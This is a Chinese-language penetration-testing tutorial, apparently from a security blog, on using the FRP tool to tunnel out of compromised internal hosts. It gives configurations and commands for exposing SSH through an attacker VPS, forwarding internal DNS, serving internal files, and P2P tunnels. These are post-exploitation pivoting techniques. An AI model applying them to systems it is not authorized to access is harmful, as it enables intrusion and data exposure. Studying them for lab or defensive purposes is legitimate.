0x1 简介
FRP是一个比较流行而且成熟的内网渗透工具,支持 TCP、UDP、HTTP、HTTPS 等多种协议。
0x2 前期准备
工具准备:可在官方github仓库下载 https://github.com/fatedier/frp/releases
将 frps 及 frps.ini 放到具有公网 VPS 的机器上。 将 frpc 及 frpc.ini 放到内网机器上。
0x3 使用场景与教程
场景1--通过SSH访问内网设备
(1)简介
内网设备有暴露可连接的端口,比如22或者3389等端口,外网无法访问。再一次内网渗透过程中,发现该设备存在漏洞可上传任意文件。此时,攻击者可利用frp工具对内网设备进行连接。
(2)实验环境
服务端(服务端公网vps):x.x.x.x被控端(客户端)centos7:10.8.1.1控制端(攻击机)kali:10.1.1.2
(3)使用
1)服务端vps上部署frps,配置修改frps.ini文件,配置如下
[common]
bind_port = 9999 #绑定的服务端端口(注释可能导致运行错误,配置时可删除)
dashboard_user = admin #可选,控制台用户名
dashboard_pwd = password #可选,控制台密码
dashboard_port = 5555 #可选,控制台的端口
服务端vps启动frps服务
./frps -c ./frps.ini
可以打开浏览器,访问http://x.x.x.x:5555验证是否配置完成
2)被控端上部署frpc,配置修改 frpc.ini 文件,配置如下
[common]
server_addr = x.x.x.x #vps IP
server_port = 9999 #vps绑定端口
[ssh]
type = tcp #指定tcp类型代理
local_ip = 127.0.0.1 #暴露本地ip
local_port = 22 #暴露本地端口
remote_port = 6000 #frp服务端vps监听的端口,攻击者连接端口
被控端启动frpc
./fprc -c frpc.ini
3)攻击机通过ssh连接客户端
ssh -p 6000 root@x.x.x.x
访问控制台可见连接记录
场景2--转发DNS查询
(1)实验环境
同上
(2)使用
1)服务端vps修改配置frps.ini,并启动frps服务,同上
2)被控端centos7修改配置frpc.ini,并启动frpc。type为udp协议,local_ip设置为谷歌的DNS服务器(此处为测试用,真实场景可设置为内网的DNS服务器,达到探测内网资产目的),local_port设置为DNS服务端口,remote_port为frp服务端vps监听的端口,攻击者连接端口
[common]
server_addr = x.x.x.x
server_port = 9999
[dns]
type = udp
local_ip = 8.8.8.8
local_port = 53
remote_port = 6000
3)攻击机可以通过frps转发在内网设备上查询到的DNS信息
dig @101.42.250.174 -p 6000 www.baidu.com
场景3--对外提供内网文件访问下载服务
(1)实验环境
同上
(2)使用
1)服务端vps修改配置frps.ini,并启动frps服务,同上
2)被控端centos7修改配置frpc.ini,并启动frpc。使用组件static_file对外暴露内网文件。plugin_local_path指定需要对外提供的文件目录;plugin_strip_prefix指定访问 URL 的前缀,为可选项;plugin_http_user、plugin_http_passwd指定访问文件需要的用户名和密码
# frpc.ini
[common]
server_addr = x.x.x.x
server_port = 9999
[plugin_static_file]
type = tcp
remote_port = 3250
plugin = static_file
plugin_local_path = /tmp/rpshttp
plugin_strip_prefix = static
plugin_http_user = admin
plugin_http_passwd = admin
3)攻击机kali2019通过浏览器访问http://x.x.x.x:3250/static/,输入配置的用户名密码即可访问目录下文件,用户名密码错误将会显示未授权
场景4--P2P模式
(1)简介
P2P模式是一种点对点的内网穿透方式,此场景将不通过服务器中转流量的方式来达到访问内网的目的。
(2)实验环境
同上
(3)使用
1)服务端vps上部署frps,配置修改frps.ini文件,配置如下
[common]
bind_port = 7000
bind_udp_port = 7001 #可以与绑定的tcp端口保持一致
#可以同上配置控制台设置
2)被控端配置frpc.ini,并启动frpc服务
[common]
server_addr = x.x.x.x
server_port = 7000
[p2p_ssh]
type = xtcp
sk = abcdefg
local_ip = 127.0.0.1
local_port = 22 #本地需要被连接的服务
3)控制端配置frpc.ini,并启动frpc服务
[common]
server_addr = 10.8.58.243
server_port = 7000
[p2p_ssh_visitor]
type = xtcp
role = visitor
server_name = p2p_ssh
sk = abcdefg
bind_addr = 127.0.0.1
bind_port = 6000 #选择一个本地端口与被控端进行绑定
4)控制端通过ssh连接被控端
ssh -p 6000 root@127.0.0.1
参考链接
https://github.com/fatedier/frp
~~~更多更详细更专业安全文章欢迎关注公众号:Janitor010